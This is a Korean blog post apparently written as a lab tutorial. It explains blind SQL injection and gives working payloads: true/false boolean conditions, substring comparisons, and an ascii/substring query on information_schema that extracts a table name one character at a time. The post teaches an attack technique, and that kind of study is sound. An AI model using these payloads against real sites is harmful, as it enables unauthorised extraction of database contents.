보안/웹 해킹

Blind SQL Injection 실습

Younngjun 2023. 4. 5. 18:00
Blind SQL Injection

 

DB 에러 페이지 등이 노출되지 않아 SQL Injection 취약점 존재를 판단하기 어려울 경우 사용되는 기법입니다. 

 

참 쿼리와 거짓 쿼리를 삽입 후 페이지의 서로 다른 반응이 존재하는지 확인하는 방법으로, 참쿼리에 대한 반응과 거짓 쿼리에 대한 반응에 차이점이 존재할 경우 Blind SQL이 존재한다고 판단합니다.

 

주로 DB의 Table, Column 등 구조 파악 등 정보 유출의 위험성을 가지고 있으며, 공격자가 일일이 쿼리문을 변경해나가면서 응답하는 참/거짓을 보고 판단을 해야하기 때문에 공격에 대한 공수가 많이 드며, 직관적이지 않습니다.

 

실습

 

참 쿼리와 거짓 쿼리 하나씩 날려보겠습니다.

 

정자동' and 1 = 1 --

>> 참

 

정자동' and 1 = 2 --

>> 거짓

 

cf) substring('비교 문자열', offset, depth)

정자동' and 'a' = substring('admin',1,1) --

 

>> 참

 

정자동' and 'm' = substring('admin'3,1) --

>> 참

 

정자동' and 'dmi' = substring('admin', 2, 3) --

>> 참

 

실습 - 첫 번째 테이블의 이름을 알아내시오

 

정자동'and 111 = ascii(substring((select top 1 table_name from information_schema.tables),1,1)) --

>> 참

 

ORDER_MAN